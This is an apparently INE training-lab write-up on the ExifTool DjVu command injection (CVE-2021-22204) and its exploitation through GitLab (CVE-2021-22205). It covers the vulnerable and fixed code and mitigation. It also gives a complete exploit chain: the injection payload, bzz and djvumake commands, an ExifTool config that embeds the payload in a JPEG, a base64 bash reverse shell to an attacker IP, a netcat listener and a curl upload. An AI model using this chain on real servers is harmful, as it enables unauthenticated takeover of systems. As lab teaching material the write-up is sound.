ExifTool Command Injection (CVE-2021-22204): Exploitation and Prevention Strategies
Introduction
In software development, security vulnerabilities often emerge from unexpected areas. As applications increasingly adopt external tools and libraries to enhance productivity, the attack surface of software ecosystems expands significantly.
While rapid feature integration is facilitated through these dependencies, reducing development time, the increased reliance on third-party components introduces new risks. Vulnerabilities in external components can become the entry point for chains of multi-platform exploits, ultimately compromising software, systems, and users alike.
Supply chain attacks are becoming increasingly prevalent, targeting weaknesses in third-party components that can jeopardize entire applications or platforms. Such attacks can lead to unauthorized access, data manipulation, or full system control, either by embedding malicious code into dependencies or by exploiting existing vulnerabilities.
Real-world incidents, such as the SolarWinds supply chain attack, have demonstrated how exploiting third-party components can compromise thousands of organizations. The threat posed by supply chain attacks is particularly concerning, as even seemingly innocuous utilities like ExifTool, used for metadata handling, can become vectors for exploitation.
What is ExifTool?
An open-source command-line application which is used to read, write, and edit metadata in multiple file formats (images, videos, etc).
Supports a vast array of file formats for example JPEG, PNG, PDF, TIFF formats etc.
Extracts, manipulates, and creates metadata like geolocation information, camera settings and timestamps, and much more.
Vulnerability Overview
CVE-2021-22204:
Description: CVE-2021-22204 is a command injection vulnerability in ExifTool. The vulnerability occurs because ExifTool does not properly handle user-supplied data. An attacker can craft a malicious image file, which, when processed by ExifTool, executes arbitrary commands. This can be particularly dangerous in scenarios where ExifTool is integrated with other applications, like GitLab, where the vulnerability can lead to remote code execution (RCE).
Impact: This vulnerability allows an attacker to deliver a specially crafted file to an application that uses ExifTool. When the file is processed, the attacker's code is executed, exploiting the vulnerability. This situation arises when the application processing the file fails to properly validate or sanitize user input.
CVSS Score: 7.8 (High)
What is DjVu?
DjVu is a file format mainly oriented towards the storage of the scanned text, graphic, and color photographs and images. It was developed by AT&T Labs in 1996 and serves as a less bulky type of document compared to PDF because high-quality scanned pictures can be converted and compressed into small-sized files without any loss of clarity.
CVE-2021-22204: Vulnerability Analysis
The root cause lies in the way ExifTool handles annotations in DjVu files, specifically in the ParseAnt function, which fails to properly sanitize user-supplied input before evaluating it as code.
Investigating the ParseAnt Function.
alt: ParseAnt function code snippet | name: parseant_snippet.png
The ParseAnt function is responsible for parsing annotations in DjVu files.
Code: https://github.com/exiftool/exiftool/blob/12.23/lib/Image/ExifTool/DjVu.pmL233
The security vulnerability was in the DjVu Perl module.
alt: DjVu Perl module code diff | name: djvu_diff.png
Vulnerable Code:
Must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
Convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};
This regular expression intends to neutralize any unescaped $ or @ and backslash characters that may be subject to code injection. Nevertheless, it neglects specific escape characters allowing these characters to be added back into the string after sanitization.
Bypassing the Sanitization with Control Characters
An attacker can use \c followed by a character to introduce control characters that may not be properly escaped by the sanitization routine.
By carefully crafting the input, an attacker can inject characters like $ or @ into the evaluated string, bypassing the sanitization as following:
Crafting Malicious Input:
(metadata "\c${system('id')};")
Breaking Down the Exploit:
\c$
is interpreted as a control character which when processed by eval can reintroduce the $
character.
The sanitization regex does not account for the \c escape sequence, so the $ remains unescaped after processing.
The eval function then processes the string, and due to the unescaped $, it interprets ${system('id')} as a Perl code block, executing the system('id') command.
Understanding Improper Input handling
!/usr/bin/perl
use strict;
use warnings;
my $tok = "\c\${system('id')};";
print "Before eval:\n";
print "\$tok = $tok\n";
$tok = eval qq{"$tok"};
print "After eval:\n";
print "\$tok = $tok\n";
The variable `$tok
is assigned a string containing a malicious command, \c
An escape sequence for control characters.
[Control Character]${system('id')};
\c$
uses the control character escape to introduce a $
character after evaluation.
\${system('id')}
attempts to inject Perl code by escaping the $
to bypass immediate interpolation.
alt: Improper input handling examples | name: improper_input_handling.png
Issues:
Limited Scope: Only escapes unescaped
$
,@
, and backslashes at the end of the string.Missed Escapes: Does not account for all possible escape sequences, such as
\c
.Ineffective Against
\c
: The\c
sequence can introduce control characters that may correspond to special symbols after evaluation.
The provided vulnerable code snippet from ExifTool is related to improper handling and escaping of special characters, which can lead to security vulnerabilities such as command injection. The above vulnerable code allowed for arbitrary code execution due to improper use of the eval function when processing escape sequences in metadata fields.
Fixed Code:
Convert C escape sequences, allowed in quoted text
(note: this only converts a few of them!)
my %esc = ( a => "\a", b => "\b", f => "\f", n => "\n",
r => "\r", t => "\t", '"' => '"', '\\' => '\\' );
$tok =~ s/\\(.)/$esc{$1}||'\\'.$1/egs;
The above code manually replaces recognized escape sequences without using eval, eliminating the risk of code execution.
The code defines a hash %esc that maps specific escape sequences to their corresponding characters.
It replaces escape sequences in the string using this mapping.
By doing this manually, there's no need to use eval, eliminating the risk of code execution.
The reason for the vulnerability that existed was the usage of eval on untrusted data which leads to remote code execution. The fixed code also removes the use of eval and the direct mapping of escape sequences eliminating the risk and supporting inferencing of metadata safely without affecting features.
CVE-2021-22205: Vulnerability Analysis
GitLab Integration and CVE-2021-22205 (ExifTool)
- GitLab is a web-based DevOps lifecycle tool that provides source code management, CI/CD pipelines, and more.
- ExifTool is a Perl library and application for reading, writing, and editing meta information in image and document files.
- GitLab uses ExifTool to extract metadata from user-uploaded images, such as avatars or project logos.
CVE-2021-22205
The ExifTool vulnerability (CVE-2021-22204) becomes especially critical when integrated into larger systems like GitLab, which rely on it for metadata processing.
Description: CVE-2021-22205 affects GitLab, where the vulnerability occurs due to improper validation of uploaded images. GitLab relies on ExifTool to extract metadata, and when vulnerable versions of ExifTool are used, attackers can exploit this flaw to achieve remote code execution.
Impact: An attacker can upload a malicious file to GitLab, which then passes the file to ExifTool without verifying its content. This leads to unauthenticated RCE, allowing an attacker to gain control of the GitLab server.
CVSS Score: 10 (Critical)
Key Differences: CVE-2021-22204 vs. CVE-2021-22205
CVE-2021-22204 affects ExifTool directly, while CVE-2021-22205 involves GitLab's use of ExifTool.
CVE-2021-22205 is rated critical because it can lead to unauthenticated RCE in GitLab, whereas CVE-2021-22204 is rated high due to its context-specific impact.
Nature of the Vulnerability
- Type Unauthenticated Remote Code Execution (RCE)
- Components Involved:
- GitLab's File Upload Functionality
- ExifTool Library (specifically CVE-2021-22204)
- Severity: Critical (CVSSv3 Score of 10.0)
Improper Validation of Uploaded Files
- Endpoint Affected:
/uploads/user
(used for uploading user avatars and other images), Since GitLab does not inspect the file content, the upload succeeds. - Issue: GitLab fails to adequately validate the content of uploaded files.
- ExifTool, upon processing the malicious file, executes arbitrary Perl code embedded within the file's metadata.
- GitLab passes the uploaded file to ExifTool for metadata extraction without verifying the file content.
- Attackers can upload files with allowed extensions but malicious content.
- Impact: Anyone capable of uploading an image that is processed by the GitLab Workhorse can achieve remote code execution (RCE) by using a specially crafted file.
Attack Path & Exploit
To exploit this vulnerability, an attacker needs to create a malicious DjVu file with an annotation chunk containing their payload. The djvumake utility, part of the djvulibre toolkit, can be used to create the crafted file:
Create the Malicious Payload: Craft an annotation chunk that includes the malicious command injection payload.
Compress the Payload: Use the bzz compression tool to compress the crafted payload into a compressed format.
Generate the Malicious DjVu File: Use the djvumake utility to create the malicious DjVu file containing the compressed payload.
Upload to GitLab: Once generated, the malicious file can be uploaded to GitLab, where ExifTool processes it, triggering the vulnerability and executing the attacker's code.
Exploitation
Understanding the Vulnerability
- CVE-2021-22205 allows attackers to achieve RCE by uploading a specially crafted image file that GitLab processes using a vulnerable version of ExifTool.
- ExifTool is vulnerable due to CVE-2021-22204, where it mishandles DjVu files, leading to arbitrary code execution.
Steps to manually exploit the vulnerability by generating the malicious .jpg image
Tools Required
djvumake
: Part of the djvulibre toolkit, used for creating DjVu files.bzz
: A tool to compress data, making the payload less conspicuous.ExifTool
: To embed the DjVu payload into a JPEG image.
To manually exploit the vulnerability, we will generate a malicious DjVu file.
Create a payload file with the following content:
Compress the payload using bzz to make it less conspicuous:
Use djvumake to create the DjVu file with the compressed payload:
The file should be recognized as a DjVu document.
Step 1: Create a file named payload with the following content:
Payload: (metadata "\c${system('id')};")
Explanation:
(metadata ...)
is a DjVu annotation.\c
is an escape sequence in Perl that can be used to inject control characters.${system('id')};
executes the id command on the system.
Step 2:
Compress the payload using bzz to make it less conspicuous.
Command: bzz payload payload.bzz
Use djvumake to create the DjVu file with the compressed payload.
Commands:
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
file exploit.djvu
Parameters:
INFO='1,1':
Basic page information.
BGjp=/dev/null:
No background image.
ANTz=payload.bzz:
Include the compressed annotation.
The file should be recognized as a DjVu document.
Step 3:
Test the DjVu File with ExifTool, to confirm that the DjVu file triggers the vulnerability, run:
Command:
exiftool exploit.djvu
alt: exiftool exploit execution | name: exiftool-exploit.png
The id command output should be displayed, indicating that code execution occurred.
Step 4: Let's exploit a GitLab server.
Since GitLab expects image files like JPEG, we need to embed our DjVu payload into a valid JPEG image.
Create a configuration file named configfile with the following content:
Embed the DjVu payload into a JPEG image:
%Image::ExifTool::UserDefined = (
'Image::ExifTool::Exif::Main' => {
0xc51b => {
Name => 'HasselbladExif',
Writable => 'string',
WriteGroup => 'IFD0',
},
},
);
1; #end%
To execute our malicious code using a JPEG file instead of a DjVu file, we can use ExifTool itself to modify the JPEG structure. Here's how we can do it step-by-step:
Create a Configuration File: This configuration file tells ExifTool how to add a new custom EXIF tag (metadata) to our JPEG. We'll name it configfile and define a new tag called HasselbladExif using a specific byte identifier (0xc51b).
Insert the Malicious Payload into the JPEG: We use ExifTool along with our configfile to embed our exploit.djvu file (created earlier) as a new EXIF tag inside a normal JPEG file. The command for this is:
Example:
$ exiftool -config configfile '-HasselbladExif<=XXXX.djvu' hacker.jpg
Encode a one-liner bash reverse shell in base64 format.
Command:
echo 'sh -i >& /dev/tcp/(Attacker IP)/4444 0>&1' | base64
alt: base64 encoded one liner bash reverse shell | name: bash_1_liner_b64.png
Payload:
(metadata "\c${system('echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMzguNi80NDQ0IDA+JjEK | base64 -d | bash')};")
Command:
bzz payload payload.bzz
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
file exploit.djvu
alt: reverse shell djvu file | name: djvu_exploit_creation.png
Now, to convert the .djvu file in .jpg format.
Command:
cp /usr/share/wallpaper.jpg .
exiftool -config configfile '-HasselbladExif<=exploit.djvu' wallpaper.jpg
file wallpaper.jpg
alt: creating malicious jpg file from djvu exploit | name: djvu_to_jpeg_convert.png
Explanation
-config configfile
: Uses the custom configuration file.'-HasselbladExif<=exploit.djvu'
: Inserts the DjVu payload into the new EXIF tag.wallpaper.jpg
: The JPEG image to embed the payload into.
Step 5:
Starting a netcat listener on port 4444
Command:
nc -lvp 4444
alt: running netcat | name: netcat_run.png
Step 6:
Send the payload to vulnerable gitlab server (demo.ine.local) to gain the bash shell.
Command:
curl -v -F 'file=@/root/wallpaper.jpg' http://demo.ine.local/$(openssl rand -hex 8)
alt: manual exploit upload to gitlab | name: gitlab_exploit_man_upload.png
We have received a shell.
alt: successful exploit reverse shell | name: man_revsh_success.png
Mitigation
The root cause of the vulnerability was the use of eval on untrusted data, which led to RCE. The fixed code eliminated the use of eval and implemented manual escape sequence handling to mitigate the risk. To prevent such vulnerabilities, it is crucial to avoid using eval on untrusted input and to implement proper input validation and sanitization routines.
Conclusion
The ExifTool vulnerability, CVE-2021-22204, along with the GitLab related CVE-2021-22205, demonstrates the risks posed by improper handling of user input in third-party dependencies. By exploiting these vulnerabilities, attackers can achieve remote code execution, gaining unauthorized access to servers and sensitive information. This lab has shown how easy it is to exploit such weaknesses if proper input validation and security measures are not implemented. It emphasizes the importance of keeping dependencies updated and performing thorough security assessments to mitigate risks and protect against potential exploits.
References:
Try this exploit for yourself as a part of INE’s Vulnerabilities Collection. With an INE access this lab and a robust library covering the latest in Cybersecurity, Networking, Cloud, and Data Science!
Subscription